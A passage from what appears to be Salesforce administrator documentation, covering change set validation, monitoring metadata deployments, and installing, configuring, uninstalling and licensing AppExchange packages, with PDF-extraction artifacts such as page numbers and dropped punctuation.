with an actual deployment. This is a good idea if you are planning a deployment on a schedule (for example during
low-use hours) and want to determine if the deployment will succeed ahead of time. However, you don't need to perform
a test deployment every time you deploy, as this process takes time to complete and the organization is locked for the
duration. (You can still read and write data to the organization, but you cant make any setup changes that would modify
the metadata.) To test deploy an inbound change set, click its name and then click Validate.
View component details
You can view the XML representation of a component before you upload an outbound change set or deploy an inbound
change set.
Limit change sets to 2500 components and 400 MB
Change sets are limited to 2500 components and a total file size of 400 MB. If your change set exceeds either of these
limits, you can create separate change sets for email templates, dashboards, and reports. These components are often the
most numerous and have fewer dependencies.

2226

Deploy

Monitoring Metadata Deployments

Delete or rename components using the Web interface


You can't use change sets to delete or rename components. To delete components, use the Web interface on the target
organization. To rename a component, first delete the component on the target organization and then upload the new
component in a change set.
Plan for tests to run in the target organization
When a change set is deployed to a production organization, all of the Apex tests in that organization are run, regardless
of whether the classes or tests are part of the change set. If the target organization is a sandbox, however, tests arent
automatically run.

See Also:
Change Sets Implementation Tips
Change Sets Overview

Monitoring Metadata Deployments


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view metadata deployments:

Modify All Data

You can use the Metadata API to deploy XML file representations of components into an organization. A component is an
instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the
MyCustomObject__c component is an instance of a custom object.
The easiest way to access the Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built
on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with the
Metadata API.
The deploy call in the Metadata API is asynchronous and may take a while to complete. The Force.com IDE and Force.com
Migration Tool use the deploy call to move XML file representations of components into an organization. To track the status
of deployments that are in progress or completed in the last 24 hours for these tools or other clients that are deploying metadata,
click Your Name > Setup > Deploy > Monitor Deployments.
The Deployments In Progress list contains the following columns:
Column

Description

Created By

The name of the user performing the deployment.

Start Time

The date and time when the deployment started.

Validate
Only

Indicates whether this deployment is being used to check the validity of the deployed files without making
any changes in the organization. A validate-only deployment does not deploy any components or change
the organization in any way.

2227

Deploy

Monitoring Metadata Deployments

Column

Description

Status

The following values are possible:


QueuedThe deployment has not started. It is waiting in a queue.
In ProgressThe deployment has started, but has not completed yet.
Processing Type: typeThe deployment has started, and is processing a metadata type, where type
is a metadata type, such as CustomObject.
Processing nameThe deployment has started, and is processing a component, where name is a
component name, such as MyCustomObject__c.
Running Test ApexClass.testNameAn Apex test class is running, where ApexClass is the Apex
class name and testName is the name of the test.

Components

The progress of the deployment. For example, 10 / 15 (3 errors) indicates that ten components
have been processed successfully out of a total of 15. There were errors for three other components processed
so far.

Tests

The progress of the Apex tests that have been run. For example, 13 / 20 (2 errors) indicates that
13 tests have been run successfully out of a total of 20. There were errors for two other tests that have run
so far. The value for the total number of tests is not accurate until the test phase of the deployment has
started.

The Completed Deployments Last 24 Hours list contains the following columns. Completed deployments are removed from
the list 24 hours after completion.
Column

Description

Created By

The name of the user who performed the deployment.

Start Time

The date and time when the deployment started.

End Time

The date and time when the deployment completed.

Validate
Only

Indicates whether this deployment is being used to check the validity of the deployed files without making
any changes in the organization. A validate-only deployment does not deploy any components or change
the organization in any way.

Status

The following values are possible:


CompletedThe deployment completed successfully.
Completed with ErrorsThe deployment completed, but some components failed to deploy or some
tests failed. This status cannot happen in a production organization as any errors cause the deployment
to be rolled back.
FailedThe deployment had some errors and no changes were made to the organization.

Components

The number of components, including those with errors, that were processed in the deployment. For
example, 10 (1 error) indicates that ten components were processed and there was an error for one
component.

2228

Installed Packages

Installed Packages

Column

Description

Tests

The number of Apex tests, including those with errors, that were run. For example, 13 (2 errors)
indicates that 13 tests were run and there were errors for two tests.

See Also:
Metadata API Developer's Guide

INSTALLED PACKAGES
Installed Packages
You can install packages into your Salesforce organization, and then configure and manage them by clicking Your Name >
Setup > Installed Packages.

Installing a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To install packages:

Download AppExchange Packages

If you received an installation link, click the link and skip to this step on page 2229. Otherwise follow this procedure from the
beginning.
Note: Only one person in your organization can install or upload a package at a time.

1. Click the AppExchange link in your organization or go directly to www.appexchange.com.


2. Browse the AppExchange site to find the application you want to install.
3. Click Get It Now from the application information page.
Note: If the listing does not have a Get It Now option, contact the publisher for more information.

4. Enter your username and password, read the user terms, select the checkbox, and click Continue.

2229

Installed Packages

Installed Packages

Note: If you are installing into a sandbox, replace the www.salesforce.com portion of the installation link with
test.salesforce.com. Note that this package is removed from your sandbox organization whenever you create a
new sandbox copy.
5. If the package is password protected, enter the password you received from the publisher.
6. Review the package items and click Continue.
Note: Some package items, such as validation rules, record types, or custom settings may not display in the Package
Item list but are included in the package and installed with the other items. If there are no items in the Package
Items list, the package may contain only minor changes not recorded.
7. Review the remote access applications that are listed to ensure they are acceptable, and click Next to continue or Cancel
to cancel package installation.
Note: Every remote access application represents a trusted application that is granted access to a user's Salesforce
data after the user and the application have been verified.
8. If the installing package contains a remote site setting, you need to approve access to websites outside of Salesforce. The
dialog box lists all the websites that the package communicates with. It is highly recommended that a website uses SSL
(secure sockets layer) when transmitting data. After making sure that the websites are safe, check Yes, grant access to these
third-party websites and click Continue, or click Cancel to cancel installing the package.
Caution: By installing remote site settings, you are allowing the package to transmit data to and from a third party
website outside the Salesforce service. Contact the publisher before using the package to understand what data is
transmitted and how it's used. If you have an internal security contact, ask them to review the application and
understand its impact before use.
9. Review the API access that package components have been granted to ensure they are acceptable. For more information,
see About API and Dynamic Apex Access in Packages on page 2234.
10. When installing unmanaged packages, you can select Resolve Naming Conflicts Automatically. When this is
selected, Salesforce changes the name of the component in the package being installed.
11. In Enterprise, Unlimited, and Developer Editions, choose a security option, and click Next:
Grant access to admins only
Specifies the following settings on the installing administrators profile and any profile with the "Customize
Application" permission:

Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled
Field-level securitySet to visible and editable for all fields
Apex classesEnabled
Visualforce pagesEnabled
App settingsEnabled
Tab settingsDetermined by the package creator
Page layout settingsDetermined by the package creator
Record Type settingsDetermined by the package creator

After installation, if you have Enterprise, Unlimited, or Developer Edition, you can set the appropriate user and
object permissions on custom profiles as needed.

2230

Installed Packages

Installed Packages

Grant access to all users


Specifies the following settings on all internal custom profiles:

Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled
Field-level securitySet to visible and editable for all fields
Apex classesEnabled
Visualforce pagesEnabled
App settingsEnabled
Tab settingsDetermined by the package creator
Page layout settingsDetermined by the package creator
Record Type settingsDetermined by the package creator
Note: The Customer Portal User, Customer Portal Manager, High Volume Customer Portal, Authenticated
Website, Partner User, and standard profiles receive no access.

Select security settings


Allows you to choose the usage access for all existing custom profiles in your organization. You can set each profile
to have full access or no access for the new package and all its components.
Note:

Depending on the type of install, you might not see this step. For example, in Group and Professional Editions,
or if the package does not contain a custom object, Salesforce skips this step and the next, giving all users full
access.
Permission sets aren't included in the security options. If your package includes permission sets, assign them
after installation.

12. In Enterprise, Unlimited, and Developer Editions, if you chose Select security settings, select the level of access to give
users in each profile and click Next. Standard options are:

Full AccessSpecifies the following settings for each profile:

Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled
Field-level securitySet to visible and editable for all fields
Apex classesEnabled
Visualforce pagesEnabled
App settingsEnabled
Tab settingsDetermined by the package creator
Page layout settingsDetermined by the package creator
Record Type settingsDetermined by the package creator

No AccessSpecifies the same settings as Full Access, except all object permissions are disabled.

You might see other options if the publisher has included settings for custom profiles. You can incorporate the settings of
the publishers custom profiles into your profiles without affecting your existing settings. Choose the name of the profile
settings in the drop-down list next to the profile you want them applied to. The current settings in that profile remain
intact.
Alternatively, click Set All next to an access level to give this setting to all user profiles.

2231

Installed Packages

Installed Packages

13. Click Install. If your installation fails, see Why did my install or upgrade fail? on page 3594.
Note: During installation, Salesforce checks and verifies any dependencies. An installers organization must meet
all dependency requirements listed on the Show Dependencies page or else the installation will fail. For example,
the installer's organization must have divisions enabled to install a package that references divisions.
Note: When you install a component that contains Apex, all unit tests for your organization are run, including
the unit tests contained in the new package. If a unit test relies on a component that is initially installed as inactive,
such as a workflow rule, this unit test may fail. You can select to install regardless of unit test failures.
14. Click OK.
15. Configure components in the package.
16. If the package includes permission sets, assign the included permission sets to your users who need them. In managed
packages, you can't make changes to permission sets that are included in the package, but subsequent upgrades happen
automatically. If you clone a permission set that comes with a managed package or create your own, you can make changes
to the permission set, but subsequent upgrades won't affect it.
17. If you are reinstalling a package and want to re-import the package data using the export file you received after uninstalling,
see Importing Package Data on page 2243.
18. If you installed a managed package, click Manage Licenses, to assign licenses to users.

See Also:
Uninstalling a Package
Managing Package Installations
Managing Licenses for Installed Packages
Upgrading Packages
Configuring Installed Packages
About API and Dynamic Apex Access in Packages
Apex Class Security Overview
Installation Guide: Installing Apps from Force.com AppExchange

Configuring Installed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To install packages:

Download AppExchange Packages

To configure installed packages:

Customize Application

Before making the package available to your users, make any necessary changes for your implementation. Depending on the
contents of the package, you might need to customize the following items:

2232

Installed Packages

Installed Packages

Configure Option
If the publisher included a link to an external website with information about configuration, AppExchange Downloads
page displays a Configure option next to the package when you click Your Name > Setup > Installed Packages. Click
Configure to view the publisher's suggested configurations.
Custom Fields and Custom Links
Add any necessary custom fields or links to the new custom objects.
Custom Object
Enable tracking on objects that aren't in this package, but that have fields that are tracked in Chatter. For example, if
you want to track a custom field on Account, you must make sure the Account standard object is enabled for tracking.
Custom Report Types
If the Report Type Name of a custom report type matches one used within your organization, change the Report
Type Name after you install the package to avoid any confusion between the two report types.
Dashboard Running User
The Running User for any dashboards are set to the user installing the package. You can edit the properties of the
dashboard and change the Running User to a user that has the security settings you want applied to the dashboard.
Folders
When apps contain documents, email templates, reports, or dashboards, Salesforce creates new folders in the installers
organization using the publishers folder names. Make sure these folder names are unique in your organization.
All users can see new folders. Configure folder settings before you deploy if you want them to have limited visibility.
Home Page Layouts
Custom home page layouts included in the package are not assigned to any users. To make them available to your users,
assign them to the appropriate profiles.
List Views
List views included in apps are visible to all users. Change the visibility of these list views if necessary.
Page Layouts
All users are assigned the default page layout for any custom objects included in the package. Administrators of Enterprise,
Unlimited, and Developer Edition organizations can configure the page layout for the appropriate users.
If a custom object in the package includes any relationships to standard objects, add them as related lists on the appropriate
page layouts.
If the package includes any custom links, add them to the appropriate page layouts.
If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values. Remove
these fields from any page layouts.
Permission Sets
Assign permission sets included in a package to the users who need access to the package.
You can't edit permission sets that are included in a managed package. If you clone a permission set that comes with the
package or create your own, you can make changes to the permission set, but subsequent upgrades won't affect it.

2233

Installed Packages

Installed Packages

Translation Workbench
Translated values for installed package components are also installed for any language that the developer has included.
Any package components the developer has customized within setup, such as a custom field or record type, display in
the installers setup pages in the developers language (the language used when defining these components). Users in the
installers organization automatically see translated values if their personal language is included in the package. Additionally,
installers can activate additional languages as long as the Translation Workbench is enabled.
Workflow Alerts
If the recipient of a workflow alert is a user, Salesforce replaces that user with the user installing the package. You can
change the recipients of any installed workflow alerts.
Workflow Field Updates
If a field update is designed to change a record owner field to a specific user, Salesforce replaces that user with the user
installing the package. You can change the field value of any installed field updates.
Workflow Outbound Messages
Salesforce replaces the user in the User to send as field of an outbound message with the user installing the package.
You can change this value after installation.
Workflow Rules
Workflow rules are installed without any time-based triggers that the developer might have created. Set up time-based
triggers as necessary.
Workflow Tasks
Salesforce replaces the user in the Assigned To field with the user installing the package. You can change this value
after installation.
Make any more customizations that are necessary for your implementation.
Note: Anything you add to a custom app after installation will be removed with the custom app if you ever uninstall
it.

See Also:
Installing a Package
About API and Dynamic Apex Access in Packages

About API and Dynamic Apex Access in Packages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Package components have access via dynamic Apex and the API to standard and custom objects in the organization where
they are installed. Developers of Force.com AppExchange packages that are intended for external customers (also called
third-party developers or partners) may wish to restrict this access. Restricting access makes packages safer for administrators

2234

Installed Packages

Installed Packages

to install. Also, administrators who install such packages may wish to restrict this access after installation, even if the package
developers have not, for improved security.
API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components

have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:

The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installers organization or objects installed by unrelated
packages.

There are two possible options for the API Access setting:

The default Unrestricted, which gives the package components the same API access to standard objects as the user
who is logged in when the component sends a request to the API. Apex runs in system mode. Unrestricted access gives
Apex read access to all standard and custom objects.
Restricted, which allows the administrator to select which standard objects the components in the package can access.
Further, the components in restricted packages can only access custom objects in the current package if the user has the
object permissions that provide access to them.

Considerations for API and Dynamic Apex Access in Packages


By default, dynamic Apex can only access the components with which the code is packaged. To provide access to standard
objects not included in the package, the developer must set the API Access.
1.
2.
3.
4.
5.

Go to Your Name > Setup > Create > Packages.


Select the package that contains a dynamic Apex that needs access to standard objects in the installing organization.
In the Package Detail related list, click Enable Restrictions or Restricted, whichever is available.
Set the access level (Read, Create, Edit, Delete) for the standard objects that the dynamic Apex can access.
Click Save.

Choosing Restricted for the API Access setting in a package affects the following:

API access in a package overrides the following user permissions:

Author Apex
Customize Application
Edit HTML Templates
Edit Read Only Fields
Manage Billing
Manage Call Centers
Manage Categories
Manage Custom Report Types
Manage Dashboards
Manage Letterheads
Manage Package Licenses
Manage Public Documents

2235

Installed Packages

Installed Packages

Manage Public List Views


Manage Public Reports
Manage Public Templates
Manage Users
Transfer Record
Use Team Reassignment Wizards
View Setup and Configuration
Weekly Export Data

If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access
to those objects from the package components, even if the user has the Modify All Data and View All Data permissions.
Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access. For more information about executeanonymous and accessing Web services with Apex, see the
Force.com Apex Code Developer's Guide.

The following considerations also apply to API access in packages:

Workflow rules and Apex triggers fire regardless of API access in a package.
If a component is in more than one package in an organization, API access is unrestricted for that component in all packages
in the organization regardless of the access setting.
If Salesforce introduces a new standard object after you select restricted access for a package, access to the new standard
object is not granted by default. You must modify the restricted access setting to include the new standard object.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures
that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package
access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the
administrator should manually apply any acceptable changes after installing an upgrade.
S-controls are served by Salesforce and rendered inline in Salesforce. Because of this tight integration, there are several
means by which an s-control in an installed package could escalate its privileges to the users full privileges. In order to
protect the security of organizations that install packages, s-controls have the following limitations:
For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages
with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API
access.
For packages you have installed, you can enable access restrictions even if the package contains s-controls. However,
access restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the
JavaScript in an s-control before relying on access restriction for s-control security.
If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.

See Also:
Installing a Package
Configuring Installed Packages

2236

Installed Packages

Uninstalling a Package

Uninstalling a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To uninstall packages:

Download AppExchange Packages

You can remove any installed package, including all of its components and all data in the package. Additionally, any custom
fields, links, or anything else you added to the custom app after installation are also removed.
To remove a package:
1.
2.
3.
4.

Click Your Name > Setup > Installed Packages.


Click Uninstall next to the package that you want to remove.
Select Yes, I want to uninstall... and click Uninstall.
After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated
notes and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to
the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed
packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall
completes.
Tip: If you reinstall the package later and want to reimport the package data, see Importing Package Data on page
2243.

Notes on Uninstalling Packages

If you are uninstalling a package that includes a custom object, all components on that custom object are also deleted. This
includes custom fields, validation rules, s-controls, custom buttons and links, as well as workflow rules and approval
processes.
You cannot uninstall a package whenever any component in the package is referenced by a component that will not get
included in the uninstall. For example:
When an installed package includes any component on a standard object that another component references, Salesforce
prevents you from uninstalling the package. This means that you can install a package that includes a custom user field
and build a workflow rule that gets triggered when the value of that field is a specific value. Uninstalling the package
would prevent your workflow from working.
When you have installed two unrelated packages that each include a custom object and one custom object component
references a component in the other, Salesforce prevents you from uninstalling the package. This means that you can
install an expense report app that includes a custom user field and create a validation rule on another installed custom
object that references that custom user field. However, uninstalling the expense report app prevents the validation rule
from working.
When an installed folder contains components you added after installation, Salesforce prevents you from uninstalling
the package.
When an installed letterhead is used for an email template you added after installation, Salesforce prevents you from
uninstalling the package.

2237

Installed Packages

Managing Package Installations

Uninstall export files contain custom app data for your package, excluding some components, such as documents and
formula field values.

See Also:
Installing a Package
Managing Package Installations
Managing Licenses for Installed Packages
Upgrading Packages
Importing Package Data
Installation Guide: Installing Apps from the AppExchange

Managing Package Installations


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To uninstall packages:

Download AppExchange Packages

To assign licenses for a managed package:

Manage Package Licenses

To download or delete the export file for an uninstalled


package:

Download AppExchange Packages

View a list of the packages you installed from AppExchange and data export files from uninstalled packages by clicking Your
Name > Setup > Installed Packages. These packages can be either managed or unmanaged.
Note: Salesforce only lists license information for managed packages. For unmanaged packages, the license-related
fields, such as Allowed Licenses, Used Licenses, and Expiration Date, will display the value N/A.
Using this list, you can:

Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package
on page 2237.
Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed
packages. For more information, see Managing Licenses for Installed Packages on page 2244.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long
as they have the appropriate permissions.

Click Configure if the publisher has included a link to an external website with information about configuring the package.
Click the package name to view details about this package.
View the publisher of the package.
View the status of the licenses for this package. Available values include:

2238

Installed Packages

Managing Package Installations

Trial
Active
Suspended
Expired
Free

This field is only displayed if the package is managed and licensed.

Track the number of licenses available (Allowed Licenses) and the number of licenses that are assigned to users (Used
Licenses).
View the date your licenses for this package are scheduled to expire.
View the date your licenses were installed.
Note: If you have not installed a licensed managed package, the Publisher, Status, Allowed Licenses, Used
Licenses, and Expiration Date fields do not appear.

After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated notes
and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to the user
performing the uninstall. The export file and related notes and attachments are listed below the list of installed packages. We
recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall completes.
Using this list, you can:

Click Download to open or store the export file.


Click Del to delete the export file.

See Also:
Installing a Package
Uninstalling a Package
Managing Licenses for Installed Packages
Upgrading Packages
Displaying Installed Package Details
Importing Package Data

2239

Installed Packages

Managing Package Installations

Displaying Installed Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To uninstall packages:

Download AppExchange Packages

To manage user licenses for an AppExchange package:

Manage Package Licenses

The package detail page displays essential details about the package you installed from AppExchange. To access the package
detail page, click Your Name > Setup > Installed Packages, then click the name of the package you want to view.
From this page, you can:

Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package
on page 2237.
Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed
packages. See Managing Licenses for Installed Packages on page 2244.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long
as they have the appropriate permissions.

Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1970. Click Done
to return to the Package detail page.

Viewing Installed Packages


The installed package page lists the following package attributes (in alphabetical order):
Attribute

Description

Action

Can be one of two options:


Uninstall
Manage Licenses

Allowed Licenses

The total number of licenses you purchased for this package.


The value is Unlimited if you have a site license for this
package. This field is only displayed if the package is managed
and licensed.

Description

A detailed description of the package.

Installed Date

The date of the package installation.

2240

Installed Packages

Managing Package Installations

Attribute

Description

Expiration Date

The date that this license expires, based on your terms and
conditions. The expiration date is Does Not Expire if the
package will never expire.This field is only displayed if the
package is managed and licensed.

Namespace

The one to 15-character alphanumeric identifier that


distinguishes a package and its contents from packages of other
developers on AppExchange.

Package Name

The name of the package, given by the publisher.

Publisher

The publisher of an AppExchange listing is the Salesforce


user or organization that published the listing. This field is
only displayed if the package is managed and licensed.

Remote Access

A list of the remote access applications that can have access


to a user's Salesforce data after the user and the application
have been verified.

Status

The state of a package. Available values include:


Trial
Active
Suspended
Expired
Free
This field is only displayed if the package is managed and
licensed.

Used Licenses

The total number of licenses that are already assigned to users.


This field is only displayed if the package is managed and
licensed.

Version Name

The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.

Viewing Installed Package Details


The installed package detail page lists the following package attributes (in alphabetical order):
Attribute

Description

API Access

The type of access that the API and dynamic Apex code that
package components have. The default setting is Unrestricted,
which means that all package components that access the API
have the same access as the user who is logged in. Click Enable
Restrictions or Disable Restrictions to change the API and
dynamic Apex access permissions for a package.
For more information about API and dynamic Apex access
for managed package components, see Managing API and
Dynamic Apex Access in Packages on page 1768.

2241

Installed Packages

Managing Package Installations

Attribute

Description

Description

A detailed description of the package.

First Installed Version Number

The first installed version of the package in your organization.


This field is only displayed for managed packages. You can
reference this version and any subsequent package versions
that you have installed. If you ever report an issue with a
managed package, you should include the version number in
this field when communicating with the publisher.

Installed By

The name of the user that installed this package in your


organization.

Modified By

The name of the last user to modify this package, including


the date and time.

Namespace

The one to 15-character alphanumeric identifier that


distinguishes a package and its contents from packages of other
developers on AppExchange.

Package Name

The name of the package, given by the publisher.

Package Type

Indicates whether this is a managed or unmanaged package.

Publisher

The publisher of an AppExchange listing is the Salesforce


user or organization that published the listing. This field is
only displayed if the package is managed and licensed.

Version Name

The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.

Version Number

The version number for the latest installed package version.


The format is majorNumber.minorNumber.patchNumber,
such as 2.1.3. The version number represents a release of a
package. The Version Name is a more descriptive name for
the release. Note that the patchNumber is generated only
when you create a patch. If there is no patchNumber, it is
assumed to be zero (0).

You can also see a list of the components included in an installed package. The following component information is displayed
(in alphabetical order):
Attribute

Description

Name

Displays the name of the component.

Parent Object

Displays the name of the parent object a component is


associated with. For example, a custom object is the parent of
a custom field.

2242

Installed Packages

Managing Package Installations

Attribute

Description

Type

Displays the type of the component.

See Also:
Managing Package Installations
Importing Package Data

Importing Package Data


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import Force.com AppExchange package data:

The permissions required to use the import tool you choose,


such as the import wizard or Data Loader.

When you uninstall an AppExchange package, Salesforce automatically creates an export file containing the package data as
well as any associated notes and attachments. If you choose to install the package again, you can import this data.
To import your AppExchange package data, use one of the following tools that is available for your Edition:

For Group Edition, use the appropriate import wizard.


For Professional Edition, use the appropriate import wizard or any compatible salesforce.com ISV Partner integration tool
on http://sites.force.com/appexchange.
For Enterprise, Developer, and Unlimited Edition, use the Data Loader.

Notes on Importing AppExchange Package Data

Salesforce converts date fields into date/time fields upon export. Convert the appropriate fields into date fields before you
import.
Salesforce exports all date/time fields in Greenwich Mean Time (GMT). Before importing these fields, convert them to
the appropriate time zone.
The value of auto number fields may be different when you import. To retain the old values, create a new custom auto
number field on a custom object before importing the data.
Salesforce updates system fields such as Created Date and Last Modified Date when you import. To retain the
old values for these fields, contact salesforce.com support.
Relationships are not included in the export file. Recreate any master-detail or lookup relationships after importing your
data.
Record type IDs are exported but not the record type name.
Field history is not exported.

2243

Installed Packages

Managing Licenses for Installed Packages

Recreate any customizations that you made to the package after installation.

See Also:
Managing Package Installations
Displaying Installed Package Details
Uninstalling a Package
Installing a Package

Managing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage licenses for a AppExchange package:

Manage Package Licenses

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of
licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign
all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get
more licenses, contact the publisher of the managed package.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses
to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have
the appropriate permissions.
1. Click Your Name > Setup > Installed Packages.
2. Click Manage Licenses next to the package.
Note: To assign licenses for a package, you must have access to the package and at least one available license.

To assign licenses to more users, click Add Users. For more information, see Assigning Licenses for Installed Packages
on page 2246.
To remove a license from a user, click Remove next to the user's name. To remove licenses from multiple users, click
Remove Multiple Users. For information, see Removing Licenses for Installed Packages on page 2247.
Click any column heading to sort the users in ascending order using the data in that column. Click the heading again
to sort in descending order.

2244

Installed Packages

Managing Licenses for Installed Packages

If available, select fewer or more to view a shorter or longer display list.

See Also:
Installing a Package
Uninstalling a Package
Managing Package Installations
Upgrading Packages
Managing Packages
Assigning Licenses for Managed Packages
Assigning Licenses for Installed Packages
Removing Licenses for Installed Packages
Responding to License Manager Requests

Assigning Licenses for Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit users:

Manage Users

To manage licenses for an AppExchange package:

Manage Package Licenses

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of
licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign
all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get
more licenses, contact the publisher of the managed package.
The Managed Packages related list on the user detail page lists all managed packages that user is assigned. Assigning a license
for a managed package makes the package available to the user within Salesforce.
Unmanaged packages will not appear on this list, as you cannot assign licenses for them.
To assign a user to a license for one of the available managed packages:
1. Click Your Name > Setup > Manage Users > Users.
2. Click Assign Licenses from the Managed Packages list.
3. Select the package you want to assign to the user. All available managed packages are listed in the Unassigned Packages
list. After selecting a package, Salesforce automatically moves it to the Selected Packages list.
The Unassigned Packages list displays all packages that this user could access if assigned a license. Packages will not appear
on this list if they are unmanaged, uninstalled, in use, or not available.

Click a letter to view the packages that begin with that letter or click All to display all available managed packages.
Click select shown to select all packages displayed in the Unassigned Packages list on the current page, adding them
to the Selected Packages list below.

2245

Installed Packages

Managing Licenses for Installed Packages

Click deselect shown or deselect all to move packages from the Selected Packages area to the Unassigned Packages
area.

4. Click Add.
To revoke a license from this user, click the Remove link next to the appropriate package name.

See Also:
Managing Packages
Managing Licenses for Installed Packages
Assigning Licenses for Installed Packages
Removing Licenses for Installed Packages

Assigning Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage licenses for an AppExchange app:

Manage Package Licenses

To assign licenses to Force.com AppExchange users:


Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses
to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have
the appropriate permissions.
1.
2.
3.
4.
5.

Click Your Name > Setup > Installed Packages to find the installed package that has available licenses.
Click the Manage Licenses link next to the package name.
Click Add Users.
Choose a view from the drop-down list, or click Create New View to build a new custom view.
Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match
the criteria of the current view.
6. Select users.

To select individual users, use the checkboxes. Selected users are listed in the Selected list. When the list includes all
users to which you want to assign licenses, click Add.
To select all users for the current view, click Add All Users then click OK.

2246

Installed Packages

Managing Licenses for Installed Packages

Note: You can also add a single user from the user's detail page. See Editing Users on page 507.

See Also:
Managing Packages
Managing Licenses for Installed Packages
Assigning Licenses for Managed Packages
Removing Licenses for Installed Packages

Removing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage licenses for an AppExchange package:

Manage Package Licenses

To remove licenses for an AppExchange package from multiple users:


1.
2.
3.
4.

Click Your Name > Setup > Installed Packages.


Click Manage Licenses next to the package name.
Click Remove Multiple Users.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
5. Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match
the criteria of the current view.
6. Select users.

To select individual users, use the checkboxes. Selected users appear in the Selected for Removal list. When the list
includes all users for which you want to remove licenses, click Remove.
To select all users in the current view, click Remove All Users, then click OK.

You can also remove licenses for an AppExchange package from a single user using the following options:
1. Click Your Name > Setup > Manage Users > Users and click Remove next to the package in the managed packages list.

2247

Installed Packages

Managing Licenses for Installed Packages

2. Click Your Name > Setup > Installed Packages, then click Manage Licenses next to the package name, and click Remove
next to the user.

See Also:
Managing Packages
Managing Licenses for Installed Packages
Assigning Licenses for Managed Packages
Assigning Licenses for Installed Packages

Responding to License Manager Requests


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To respond to registration requests:

Customize Application

A license manager is a Salesforce organization that tracks all Salesforce subscribers installing a particular AppExchange package.
Salesforce administrators can choose to designate another organization as the license manager for one of their packages. The
license manager does not need to be the same organization as the one from which the package is managed. To choose another
organization as the license manager, all you need is an email address (not a Salesforce username). If a Salesforce administrator
selects to have a third-party license manager and enters your email address, you will receive a license management request in
email.
To respond to a registration request:
1. Click the link in the license management request email. This displays the registration request in the requestor's Developer
Edition organization.
